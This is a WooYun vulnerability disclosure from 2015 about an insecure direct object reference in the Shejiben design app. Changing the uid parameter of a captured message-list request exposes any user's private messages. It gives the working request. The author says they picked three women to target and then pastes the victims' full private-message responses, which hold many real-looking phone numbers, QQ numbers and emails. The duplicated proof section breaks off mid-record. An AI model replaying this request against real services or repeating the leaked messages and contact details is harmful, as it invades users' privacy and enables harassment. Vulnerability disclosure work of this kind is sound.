当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093153

漏洞标题:设计本app越权访问之一(查看任意用户私信)

相关厂商:土巴兔装修网

漏洞作者: hkAssassin

提交时间:2015-01-22 18:46

修复时间:2015-03-08 18:48

公开时间:2015-03-08 18:48

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-22: 细节已通知厂商并且等待厂商处理中
2015-01-23: 厂商已经确认,细节仅向厂商公开
2015-02-02: 细节向核心白帽子及相关领域专家公开
2015-02-12: 细节向普通白帽子公开
2015-02-22: 细节向实习白帽子公开
2015-03-08: 细节向公众公开

简要描述:

app越权访问

详细说明:

设计本app设计存在越权漏洞可以查看任意用户私信。测试方法,用自己的账号登录设计本app,点击我的私信同时抓包。得到

GET /mobileapp/my/message.php?t=1&p=1&pg=20&uid=1915777 HTTP/1.1
If-Modified-Since: Wed, 21 Jan 2015 06:37:47 GMT+00:00
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; MI 3 MIUI/4.11.21)
Host: www.shejiben.com
Connection: Keep-Alive
Accept-Encoding: gzip


上面的数据包,修改uid即可查看任意用户私信。下面找了3个美女查看了下截图如下,代码区为response转码结果。

y1.png


{"login":1,"result":{"allnum":29,"message":[{"id":"436421","uid":"50197","nick":"墙来了艺术背景","headphoto":"http:\/\/pic.shejiben.com\/user\/97\/headphoto_50197.jpg?1418200159","indentity":"0","puttime":"01-17","puttime1":"2015-01-17 15:51","endtime":0,"subject":"","message":"你好,你的QQ号码是多少?谈下合作","new":"1"},{"id":"433780","uid":"768306","nick":"魔鬼视觉","headphoto":"http:\/\/pic.shejiben.com\/user\/6\/headphoto_768306.jpg?1389025885","indentity":"1","puttime":"01-05","puttime1":"2015-01-05 20:04","endtime":0,"subject":"","message":"效果图团队制作   我个人作品里有一些你可以去看看                加我 QQ  460061224    更好的工作带给你更好的设计表现","new":"1"},{"id":"432795","uid":"1000","nick":"官方助手","headphoto":"http:\/\/pic.shejiben.com\/user\/0\/headphoto_1000.jpg?1384938193","indentity":"1","puttime":"01-04","puttime1":"2015-01-04 10:14","endtime":0,"subject":"","message":"温馨提示,您的首页广告位推荐(2014\/08\/16-2014\/11\/16)已到期","new":"1"},{"id":"431964","uid":"1839357","nick":"卡洛菲水晶","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-28","puttime1":"2014-12-28 18:55","endtime":0,"subject":"","message":"亲  http:\/\/shop65111266.taobao.com   卡洛菲水晶台灯 厂家直销 接收各种台灯定制(设计师超低折扣)欢迎您的光临  (谈价时记得注明设计本设计师哦)","new":"1"},{"id":"429010","uid":"1152152","nick":"颠覆的王国","headphoto":"http:\/\/pic.shejiben.com\/user\/52\/headphoto_1152152.jpg?1390379789","indentity":"0","puttime":"14-12-22","puttime1":"2014-12-22 09:39","endtime":0,"subject":"","message":"您好,我是福建省南安锦坤石业有限公司的小李。我司有全国独家代理的进口石材,真诚期待与您的合作!详询:13799753653,打扰之处敬请谅解,谢谢!","new":"1"},{"id":"426858","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-17","puttime1":"2014-12-17 08:18","endtime":0,"subject":"","message":"【易营造,软装配饰全面解决方案提供者。】\n您好!您是否需要为客户直观展示您的设计方案?\n您通过浏览http:\/\/4006126121.114.qq.com\/ndetail_1970.html,在页面主题【家居软装配饰方案】中,您可以看到我司所做的“抛砖引玉”的参考方案。\n在我司方案的基础上,通过您的奇思妙想,可生发出万千变换,从而满足客户的个性化需求。\n如您告知具体的项目设计需求,我们会为您做出专属于您的【家居软装配饰方案】。\n如需要了解详情,请您添加腾讯QQ号码【4006126121】垂询!","new":"1"},{"id":"423147","uid":"1261896","nick":"深圳艺彩定制壁画厂","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-09","puttime1":"2014-12-09 11:16","endtime":0,"subject":"","message":"订制背景墙壁画墙纸厂家 业务QQ 1328705400 18903022112","new":"1"},{"id":"417130","uid":"1700372","nick":"5点马赛克","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-11-30","puttime1":"2014-11-30 20:03","endtime":0,"subject":"","message":"朋友认识一下我是广东做马赛克剪画的以后一起合作麻烦照顾QQ2874291941","new":"1"},{"id":"399129","uid":"1434985","nick":"回忆思念","headphoto":"http:\/\/pic.shejiben.com\/user\/85\/sjb_headphoto_1434985.jpg?1416122078","indentity":"0","puttime":"14-11-15","puttime1":"2014-11-15 19:40","endtime":0,"subject":"","message":"美女设计师你好,我是东莞大岭山专业定制家具的,希望和美女合作哦,可以加下我QQ吗:67318348 祝你万事如意 13296735588","new":"1"},{"id":"398708","uid":"1670070","nick":"yazijoy","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-11-15","puttime1":"2014-11-15 08:24","endtime":0,"subject":"","message":"您好","new":"1"},{"id":"380574","uid":"1632467","nick":"孤鸿落叶_2898","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-10-31","puttime1":"2014-10-31 12:52","endtime":0,"subject":"","message":"您好 我家的5.7米电视背景墙您能帮我设计一下吗?","new":"1"},{"id":"377301","uid":"1523140","nick":"汲墨图形工作室陈永熙","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_1523140.jpg?1409194248","indentity":"1","puttime":"14-10-28","puttime1":"2014-10-28 10:51","endtime":0,"subject":"","message":"请关注汲墨欧式效果图。汲墨以专业精神,塑造原味欧式空间。行业翘楚,无可比肩。","new":"1"},{"id":"371504","uid":"949575","nick":"上海印派视觉","headphoto":"http:\/\/pic.shejiben.com\/user\/75\/headphoto_949575.jpg?1413947549","indentity":"0","puttime":"14-10-22","puttime1":"2014-10-22 11:51","endtime":0,"subject":"","message":"上海印派视觉成立于2011年主要服务于室内建筑设计效果图表现、多媒体、动画制作及室外建筑表现(目前室外业务量比较小)公司目前有成熟的模型渲染后期人员12名,一般成熟及实习生6名。我们将以最优质,最责任的服务对待每一位客户,并努力成为我们的终身合作伙伴。网站:www.51xuanran.com\n凡上海的合作公司,只要签约vip客户,将赠送腾讯风铃微信“服务号”“订阅号”开发,百度可查,价值万元。绝对超值。\n手机:18621627990\n座机:021-61840636\nQQ:55231361","new":"1"},{"id":"366457","uid":"652779","nick":"书墨","headphoto":"http:\/\/pic.shejiben.com\/user\/79\/headphoto_652779.jpg?1378092152","indentity":"1","puttime":"14-10-16","puttime1":"2014-10-16 13:29","endtime":0,"subject":"","message":"你好","new":"1"},{"id":"363316","uid":"483602","nick":"似水年华","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-10-11","puttime1":"2014-10-11 16:52","endtime":0,"subject":"","message":"各种天然大理石地面拼花、造型、魔方砖、高端石材楼梯踏步、窗台台面等 郑州红星美凯龙建材馆 欢迎您来合作洽谈,返点快,返点额度高!18638154802","new":"1"},{"id":"360986","uid":"1561638","nick":"清华学府","headphoto":"http:\/\/pic.shejiben.com\/user\/38\/headphoto_1561638.jpg?1411378141","indentity":"1","puttime":"14-10-10","puttime1":"2014-10-10 09:12","endtime":0,"subject":"","message":"诚邀参加10月17-19日由清华美术学院主办《当代环境艺术设计实战研讨班》,主讲老师:聂影、马怡西","new":"1"},{"id":"356624","uid":"1580195","nick":"個亼箛單","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-30","puttime1":"2014-09-30 08:41","endtime":0,"subject":"","message":"你好 请问客厅石材的,电视镶嵌在里面的哪张效果图,电视背景墙是大理石还是瓷砖?还有沙发背景墙是什么材质?","new":"1"},{"id":"353201","uid":"1546221","nick":"王俊_0074","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-26","puttime1":"2014-09-26 16:28","endtime":0,"subject":"","message":"您好,我是东莞凯禾工程家具\/销售王俊,期待与您的合作。谢谢!QQ:1106035093 手机:18617228859","new":"1"},{"id":"352067","uid":"1569605","nick":"ppll3498","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-09-24","puttime1":"2014-09-24 17:59","endtime":0,"subject":"","message":"我接受邀请看到了你的设计,非常喜欢,特别是东南亚风格的那套。不过你怎样为外省业主进行设计呢,没有到现场的话如何知道朝向、光线等对家居的影响呢","new":"1"},{"id":"345871","uid":"1545503","nick":"Emery","headphoto":"http:\/\/pic.shejiben.com\/user\/3\/headphoto_1545503.jpg?1410417225","indentity":"0","puttime":"14-09-17","puttime1":"2014-09-17 13:39","endtime":0,"subject":"","message":"官老师 您好\n新锐艺术品电商MoArt.cn,邀请您成为合作设计师,让MoArt成为您空间搭配的首选。MoArt是中国最大的艺术交易平台,产品库超过千幅艺术家版权签约作品,搭配各等级装裱。\t美凯龙、多家四季酒店、国际学校都选择MoArt作为墙面装饰,个人业主客单价均在万元以上。经过您设计选用或推荐的产品一经售出,您都会得到大约产品售价20%的佣金。或以协议底价购的方式合作。\t另外, MoArt利用自有平台和媒体资源,尽力为极富创造力的设计师提供作品展示机会和专访,甚至专题创作的可能。\t如接受MoArt的合作或有兴趣了解更多,请回复邮件至hancong@moart.cn,获取详细介绍及合作协议","new":"1"}]}}


y2.png


{"login":1,"result":{"allnum":22,"message":[{"id":"431911","uid":"1687046","nick":"地暖空调","headphoto":"http:\/\/pic.shejiben.com\/user\/46\/sjb_headphoto_1687046.jpg?1416839566","indentity":"0","puttime":"14-12-28","puttime1":"2014-12-28 14:07","endtime":0,"subject":"","message":"您好  我是做地暖,暖气,中央空调,智能家居的,居然之家有店,希望能和您合作,您看您方便时我去给您送份资料,鼎固暖通小许13811505514","new":"1"},{"id":"423887","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-10","puttime1":"2014-12-10 15:40","endtime":0,"subject":"","message":"【易营造,软装配饰全面解决方案提供者。】\n您好!您是否需要为客户直观展示您的设计方案?\n您通过浏览http:\/\/4006126121.114.qq.com\/ndetail_1970.html,在页面主题【家居软装配饰方案】中,您可以看到我司所做的“抛砖引玉”的参考方案。\n在我司方案的基础上,通过您的奇思妙想,可生发出万千变换,从而满足客户的个性化需求。\n如您告知具体的项目设计需求,我们会为您做出专属于您的【家居软装配饰方案】。\n如需要了解详情,请您添加腾讯QQ号码【4006126121】垂询!","new":"1"},{"id":"388088","uid":"1523140","nick":"汲墨图形工作室陈永熙","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_1523140.jpg?1409194248","indentity":"1","puttime":"14-11-07","puttime1":"2014-11-07 18:42","endtime":0,"subject":"","message":"在过往的制作经验中,最纠结的莫过于设计师们的一个小要求:“家具能再欧式一点吗?”这时候,我会脸红,无言以对。因为巧妇难为无米之炊啊。现在好了,局面有了根本的改观。一大批原创欧式家具模型充实了汲墨的模型库。它们样式经典,制作精美,款式齐全。它们的出现一举改变了欧式室内虚拟再现的生态。这是汲墨几年潜心努力的结果。以我们的经验,应用这些模型构建的欧式空间,可以具有纯正的欧洲韵味。业主的认可度会翻倍。会大大提高方案的成交率。现在,谁要再问我:“家具能再欧式一点吗?”我可能就会这样说:“再欧式一点,你就到土耳其了。”欢迎访问汲墨的QQ相册,那里有汲墨的家具图录和案例。汲墨的QQ:898485212","new":"1"},{"id":"338664","uid":"1003781","nick":"鸳鸯奏","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-09-08","puttime1":"2014-09-08 18:04","endtime":0,"subject":"","message":"你好","new":"1"},{"id":"293404","uid":"422884","nick":"余娜","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-07-25","puttime1":"2014-07-25 14:41","endtime":0,"subject":"","message":"●您好,很高兴认识您,伊甸效果图表现【服务高端,质优价廉】\n●客服QQ:840564446\n●作品网址: http:\/\/blog.sina.com.cn\/eden31,有空来看看,希望能与您合作!","new":"1"},{"id":"286356","uid":"1421249","nick":"袁晓波","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-17","puttime1":"2014-07-17 16:05","endtime":0,"subject":"","message":"您好,广州慧和-凹得家具定制厂,专业定制样板间、售楼中心、会所、星级酒店、别墅等家具。欢迎咨询定制13822130249 袁先生 更多精彩内容请添加QQ 1261346117 或 关注微信 huihejiaju6117。希望有机会合作。","new":"1"},{"id":"278191","uid":"1423713","nick":"朗和怡家北京","headphoto":"http:\/\/pic.shejiben.com\/user\/13\/headphoto_1423713.jpg?1404365816","indentity":"1","puttime":"14-07-06","puttime1":"2014-07-06 12:02","endtime":0,"subject":"","message":"地暖DIY铺设新模式预测\n 随着地暖越来越被人们认识,地暖的普及速度正在加快,迫切需要地暖的人也越来越多。但是,铺设地暖的费用相对还是比较高,如何才能降低铺设费用呢?朗和怡家认为,DIY地暖的推出,为解决这个问题提供了方便.通常讲三分安装七分设计,我们非常赞同这个说法。在互联网飞速发展的今天,设计工作的相互支援已经是非常方便了,因此,我们可以想象得到,一个对地暖毫无经验的人,可以通过互联网获得帮助和获得专业人士的设计,设计很重要,设计已不是问题。 施工没有太多的技术要求,只要稍有经验就能做得很好,没有经验也可以照猫画虎把它完成。或许是您自己DIY,也可能您请专门的施工工人来做,那么专门的地暖铺","new":"1"},{"id":"268275","uid":"1405424","nick":"杯子","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-06-26","puttime1":"2014-06-26 09:37","endtime":0,"subject":"","message":"邀  请  函\nhttps:\/\/app.yinxiang.com\/shard\/s40\/sh\/8d9d1a1c-00ae-4e24-84cf-9bb9f0cc6dfd\/c5bdb8b076f8b0b3291ae7ab16b2ac05","new":"1"},{"id":"265527","uid":"1402366","nick":"叶朋_5782","headphoto":"http:\/\/pic.shejiben.com\/user\/66\/headphoto_1402366.jpg?1404096653","indentity":"0","puttime":"14-06-23","puttime1":"2014-06-23 17:16","endtime":0,"subject":"","message":"铭筑舍计诚聘高级设计师加盟","new":"1"},{"id":"264100","uid":"1406936","nick":"密室安全室","headphoto":"http:\/\/pic.shejiben.com\/user\/36\/headphoto_1406936.jpg?1403106586","indentity":"1","puttime":"14-06-21","puttime1":"2014-06-21 13:57","endtime":0,"subject":"","message":"你好香港狼牙国际,主要针对会所别墅,做密室安全室。\n提供整套别墅逃生方案!\n联系人:邱永方\nQQ      1801072783\n电话:  13311221489 18610672081","new":"1"},{"id":"254034","uid":"1288166","nick":"彩绘控","headphoto":"http:\/\/pic.shejiben.com\/user\/66\/headphoto_1288166.jpg?1405399042","indentity":"1","puttime":"14-06-09","puttime1":"2014-06-09 14:10","endtime":0,"subject":"","message":"您好,我们是彩绘控,专注高端壁画,墙绘,期待合作!","new":"1"},{"id":"242001","uid":"1352469","nick":"合肥叶朋","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-05-22","puttime1":"2014-05-22 12:58","endtime":0,"subject":"","message":"铭筑舍计诚聘高级设计师合作,网络接单及设计;联系QQ;597358301","new":"1"},{"id":"230380","uid":"1125574","nick":"LGZ:in金康","headphoto":"http:\/\/pic.shejiben.com\/user\/74\/headphoto_1125574.jpg?1399443106","indentity":"1","puttime":"14-05-08","puttime1":"2014-05-08 10:09","endtime":0,"subject":"","message":"您好,我是LG Hausys 铝木窗部门的金康。希望今后能有合作的机会!18888852554","new":"1"},{"id":"220673","uid":"1002049","nick":"沈强","headphoto":"http:\/\/pic.shejiben.com\/user\/49\/headphoto_1002049.jpg?1398268044","indentity":"0","puttime":"14-04-24","puttime1":"2014-04-24 01:19","endtime":0,"subject":"","message":"您好:很高兴可以认识您,我叫沈强,安徽人。在北京专业从事 酒店、宾馆、办公、别墅、餐饮、夜总会、量贩KTV装饰工程,希望能与您合作,资源整合共同学习、共同发展。如有意请致电13552392088--沈强","new":"1"},{"id":"200502","uid":"1261926","nick":"WALLIFE","headphoto":"http:\/\/pic.shejiben.com\/user\/26\/headphoto_1261926.jpg?1395972473","indentity":"0","puttime":"14-03-28","puttime1":"2014-03-28 09:48","endtime":0,"subject":"","message":"你好,我是壁纸厂家,希望有机会我们可以合作,电话:13581639956,13681007630.QQ:927568816","new":"1"},{"id":"180733","uid":"996640","nick":"勇者家居设计","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_996640.jpg?1382162752","indentity":"1","puttime":"14-03-03","puttime1":"2014-03-03 22:04","endtime":0,"subject":"","message":"勇者图像  专业效果图制作  联系QQ305235069  可长期合作  (活动期间还可享受免费或优惠哦)","new":"1"},{"id":"166305","uid":"1152152","nick":"颠覆的王国","headphoto":"http:\/\/pic.shejiben.com\/user\/52\/headphoto_1152152.jpg?1390379789","indentity":"0","puttime":"14-02-07","puttime1":"2014-02-07 09:20","endtime":0,"subject":"","message":"您好,我是福建省南安市锦坤石业有限公司的小李。我司有全国独家代理的进口石材,真诚期待与您的合作!打扰之处敬请原谅,谢谢!","new":"1"},{"id":"155955","uid":"696563","nick":"诚信是金_9604","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"13-12-28","puttime1":"2013-12-28 19:15","endtime":0,"subject":"","message":"您好:我是北京恒泰伟业装饰公司的邹工,希望能与您合作,高提成,清一色安徽江苏施工队,手艺非常好,在京施工十五年,经验丰富!联系电话:13910539799","new":"1"},{"id":"129486","uid":"1047387","nick":"HNID","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"13-11-17","puttime1":"2013-11-17 16:16","endtime":0,"subject":"","message":"特邀您加入湖南省室内设计师协会,湖南省室内设计师协会的成立,标志着湖南室内设计业已发展到一个新的高度,并受到政府和社会各界的广泛关注。首批会员(免收会费)具有历史性的价值意义,作为湖南省从事室内设计的专业人才,更要积极参与,为把湖南打造成为中国室内设计强省,我们一起努力吧! 欢迎致力于室内设计的设计精英毛遂自荐! 湖南省室内设计师协会筹备委员会联系人:刘志勇电 话:13975857300 QQ群: 281557515 180380431 来源:中装新网:http:\/\/www.cbda.cn\/html\/jd\/20131106\/32578.html","new":"1"},{"id":"118962","uid":"1027202","nick":"k浪潮","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"13-11-04","puttime1":"2013-11-04 20:55","endtime":0,"subject":"","message":"你好,我是宝路莎磁砖小何,你们要用到磁砖吗","new":"1"}]}}


y3.png


{"login":1,"result":{"allnum":10,"message":[{"id":"392917","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-11-11","puttime1":"2014-11-11 16:54","endtime":0,"subject":"","message":"您好!【易营造】为您的设计工作助力,我们提供软装饰品“一站式”服务,各种风格,所有品类,如有需要请联系我们,添加腾讯QQ号码【4006126121】即可!","new":"1"},{"id":"301245","uid":"1471712","nick":"晓说_8058","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-30","puttime1":"2014-07-30 16:56","endtime":0,"subject":"","message":"您好,我是中山勤辉照明有限公司的项目经理熊先生,我们专注现代简约风格的灯饰设计与制造,曾服务过万科,保利,中海等知名房地产公司,正与天猫商城展开战略合作,现真诚的邀请您与我司进行合作共事电商,希望能配合到您的工作,为您带来可观的收益,如您有兴趣请联系QQ:1204826649,电话:13380871010\n首页-勤辉家居专营店-天猫Tmall.com http:\/\/qinhuijj.tmall.com\/?spm=a220o.1000855.w5001-7550138386.4.3eBOiN","new":"1"},{"id":"285577","uid":"1421249","nick":"袁晓波","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-07-16","puttime1":"2014-07-16 18:02","endtime":0,"subject":"","message":"您好,广州慧和-凹得家具定制厂,专业定制样板间、售楼中心、会所、星级酒店、别墅等家具。欢迎咨询定制13822130249 袁先生 更多精彩内容请添加QQ 1261346117 或 关注微信 huihejiaju6117。希望有机会合作。","new":"1"},{"id":"263337","uid":"1405528","nick":"凹得家具","headphoto":"http:\/\/pic.shejiben.com\/user\/28\/sjb_headphoto_1405528.jpg?1416218617","indentity":"1","puttime":"14-06-20","puttime1":"2014-06-20 17:24","endtime":0,"subject":"","message":"你好!我是慧和定制家具项目经理左小姐,我们专注别墅、私人豪宅、样板房、酒店、会所等家具定制,曾服务过万科、保利、中海、绿地、星河湾、龙湖等知名房地产公司,希望以后能配合到你的工作。QQ:1906735201,联系电话:13533885782","new":"1"},{"id":"246343","uid":"1355223","nick":"谴天怒世","headphoto":"http:\/\/pic.shejiben.com\/user\/23\/headphoto_1355223.jpg?1400470995","indentity":"1","puttime":"14-05-27","puttime1":"2014-05-27 15:39","endtime":0,"subject":"","message":"你好,我是中山美之光灯饰厂的刘天俊,我们公司是专业生产酒店工程非标灯具的厂家,希望能有机会一起合作,这是我的电话,18520817274,qq8526753022,谢谢,qq空间里有我们公司的部分产品图册","new":"1"},{"id":"230297","uid":"1125574","nick":"LGZ:in金康","headphoto":"http:\/\/pic.shejiben.com\/user\/74\/headphoto_1125574.jpg?1399443106","indentity":"1","puttime":"14-05-08","puttime1":"2014-05-08 09:43","endtime":0,"subject":"","message":"您好,我是LG Hausys 铝木窗部门的金康。希望今后能有合作的机会!18888852554","new":"1"},{"id":"215693","uid":"14754","nick":"倪国良","headphoto":"http:\/\/pic.shejiben.com\/user\/54\/headphoto_14754.jpg?1378092223","indentity":"1","puttime":"14-04-18","puttime1":"2014-04-18 10:10","endtime":0,"subject":"","message":"设计师您好!布丁效果图表现 http:\/\/poddin-g.taobao.com 最低价450,有需要可以联系我 QQ:993562201 也可以回复私信,希望长期合作。","new":"1"},{"id":"180493","uid":"996640","nick":"勇者家居设计","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_996640.jpg?1382162752","indentity":"1","puttime":"14-03-03","puttime1":"2014-03-03 21:29","endtime":0,"subject":"","message":"勇者图像  专业效果图制作  联系QQ305235069  可长期合作  (活动期间还可享受免费或优惠哦)","new":"1"},{"id":"167875","uid":"1056931","nick":"Alonelyman","headphoto":"http:\/\/pic.shejiben.com\/user\/31\/sjb_headphoto_1056931.jpg?1419756710","indentity":"1","puttime":"14-02-12","puttime1":"2014-02-12 12:30","endtime":0,"subject":"","message":"好","new":"1"},{"id":"234512","uid":"1255827","nick":"花旗设计","headphoto":"http:\/\/pic.shejiben.com\/user\/27\/headphoto_1255827.jpg?1399884820","indentity":"1","puttime":"14-05-13","puttime1":"2014-05-13 11:10","endtime":0,"subject":"","message":"你好啊美女","new":0}]}}

漏洞证明:

设计本app设计存在越权漏洞可以查看任意用户私信。测试方法,用自己的账号登录设计本app,点击我的私信同时抓包。得到

GET /mobileapp/my/message.php?t=1&p=1&pg=20&uid=1915777 HTTP/1.1
If-Modified-Since: Wed, 21 Jan 2015 06:37:47 GMT+00:00
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; MI 3 MIUI/4.11.21)
Host: www.shejiben.com
Connection: Keep-Alive
Accept-Encoding: gzip


上面的数据包,修改uid即可查看任意用户私信。下面找了3个美女查看了下截图如下,代码区为response转码结果。

y1.png


{"login":1,"result":{"allnum":29,"message":[{"id":"436421","uid":"50197","nick":"墙来了艺术背景","headphoto":"http:\/\/pic.shejiben.com\/user\/97\/headphoto_50197.jpg?1418200159","indentity":"0","puttime":"01-17","puttime1":"2015-01-17 15:51","endtime":0,"subject":"","message":"你好,你的QQ号码是多少?谈下合作","new":"1"},{"id":"433780","uid":"768306","nick":"魔鬼视觉","headphoto":"http:\/\/pic.shejiben.com\/user\/6\/headphoto_768306.jpg?1389025885","indentity":"1","puttime":"01-05","puttime1":"2015-01-05 20:04","endtime":0,"subject":"","message":"效果图团队制作   我个人作品里有一些你可以去看看                加我 QQ  460061224    更好的工作带给你更好的设计表现","new":"1"},{"id":"432795","uid":"1000","nick":"官方助手","headphoto":"http:\/\/pic.shejiben.com\/user\/0\/headphoto_1000.jpg?1384938193","indentity":"1","puttime":"01-04","puttime1":"2015-01-04 10:14","endtime":0,"subject":"","message":"温馨提示,您的首页广告位推荐(2014\/08\/16-2014\/11\/16)已到期","new":"1"},{"id":"431964","uid":"1839357","nick":"卡洛菲水晶","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-28","puttime1":"2014-12-28 18:55","endtime":0,"subject":"","message":"亲  http:\/\/shop65111266.taobao.com   卡洛菲水晶台灯 厂家直销 接收各种台灯定制(设计师超低折扣)欢迎您的光临  (谈价时记得注明设计本设计师哦)","new":"1"},{"id":"429010","uid":"1152152","nick":"颠覆的王国","headphoto":"http:\/\/pic.shejiben.com\/user\/52\/headphoto_1152152.jpg?1390379789","indentity":"0","puttime":"14-12-22","puttime1":"2014-12-22 09:39","endtime":0,"subject":"","message":"您好,我是福建省南安锦坤石业有限公司的小李。我司有全国独家代理的进口石材,真诚期待与您的合作!详询:13799753653,打扰之处敬请谅解,谢谢!","new":"1"},{"id":"426858","uid":"1292678","nick":"易营造优雅生活","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-17","puttime1":"2014-12-17 08:18","endtime":0,"subject":"","message":"【易营造,软装配饰全面解决方案提供者。】\n您好!您是否需要为客户直观展示您的设计方案?\n您通过浏览http:\/\/4006126121.114.qq.com\/ndetail_1970.html,在页面主题【家居软装配饰方案】中,您可以看到我司所做的“抛砖引玉”的参考方案。\n在我司方案的基础上,通过您的奇思妙想,可生发出万千变换,从而满足客户的个性化需求。\n如您告知具体的项目设计需求,我们会为您做出专属于您的【家居软装配饰方案】。\n如需要了解详情,请您添加腾讯QQ号码【4006126121】垂询!","new":"1"},{"id":"423147","uid":"1261896","nick":"深圳艺彩定制壁画厂","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"1","puttime":"14-12-09","puttime1":"2014-12-09 11:16","endtime":0,"subject":"","message":"订制背景墙壁画墙纸厂家 业务QQ 1328705400 18903022112","new":"1"},{"id":"417130","uid":"1700372","nick":"5点马赛克","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-11-30","puttime1":"2014-11-30 20:03","endtime":0,"subject":"","message":"朋友认识一下我是广东做马赛克剪画的以后一起合作麻烦照顾QQ2874291941","new":"1"},{"id":"399129","uid":"1434985","nick":"回忆思念","headphoto":"http:\/\/pic.shejiben.com\/user\/85\/sjb_headphoto_1434985.jpg?1416122078","indentity":"0","puttime":"14-11-15","puttime1":"2014-11-15 19:40","endtime":0,"subject":"","message":"美女设计师你好,我是东莞大岭山专业定制家具的,希望和美女合作哦,可以加下我QQ吗:67318348 祝你万事如意 13296735588","new":"1"},{"id":"398708","uid":"1670070","nick":"yazijoy","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-11-15","puttime1":"2014-11-15 08:24","endtime":0,"subject":"","message":"您好","new":"1"},{"id":"380574","uid":"1632467","nick":"孤鸿落叶_2898","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-10-31","puttime1":"2014-10-31 12:52","endtime":0,"subject":"","message":"您好 我家的5.7米电视背景墙您能帮我设计一下吗?","new":"1"},{"id":"377301","uid":"1523140","nick":"汲墨图形工作室陈永熙","headphoto":"http:\/\/pic.shejiben.com\/user\/40\/headphoto_1523140.jpg?1409194248","indentity":"1","puttime":"14-10-28","puttime1":"2014-10-28 10:51","endtime":0,"subject":"","message":"请关注汲墨欧式效果图。汲墨以专业精神,塑造原味欧式空间。行业翘楚,无可比肩。","new":"1"},{"id":"371504","uid":"949575","nick":"上海印派视觉","headphoto":"http:\/\/pic.shejiben.com\/user\/75\/headphoto_949575.jpg?1413947549","indentity":"0","puttime":"14-10-22","puttime1":"2014-10-22 11:51","endtime":0,"subject":"","message":"上海印派视觉成立于2011年主要服务于室内建筑设计效果图表现、多媒体、动画制作及室外建筑表现(目前室外业务量比较小)公司目前有成熟的模型渲染后期人员12名,一般成熟及实习生6名。我们将以最优质,最责任的服务对待每一位客户,并努力成为我们的终身合作伙伴。网站:www.51xuanran.com\n凡上海的合作公司,只要签约vip客户,将赠送腾讯风铃微信“服务号”“订阅号”开发,百度可查,价值万元。绝对超值。\n手机:18621627990\n座机:021-61840636\nQQ:55231361","new":"1"},{"id":"366457","uid":"652779","nick":"书墨","headphoto":"http:\/\/pic.shejiben.com\/user\/79\/headphoto_652779.jpg?1378092152","indentity":"1","puttime":"14-10-16","puttime1":"2014-10-16 13:29","endtime":0,"subject":"","message":"你好","new":"1"},{"id":"363316","uid":"483602","nick":"似水年华","headphoto":"http:\/\/www.shejiben.com\/img\/headphoto\/noheadphoto.gif","indentity":"0","puttime":"14-10-11","puttime1":"2014-10-11 16:52","endtime":0,"subject":"","message":"各种天然大理石地面拼花、造型、魔方砖、高端石材楼梯踏步、窗台台面等 郑州红星美凯龙建材馆 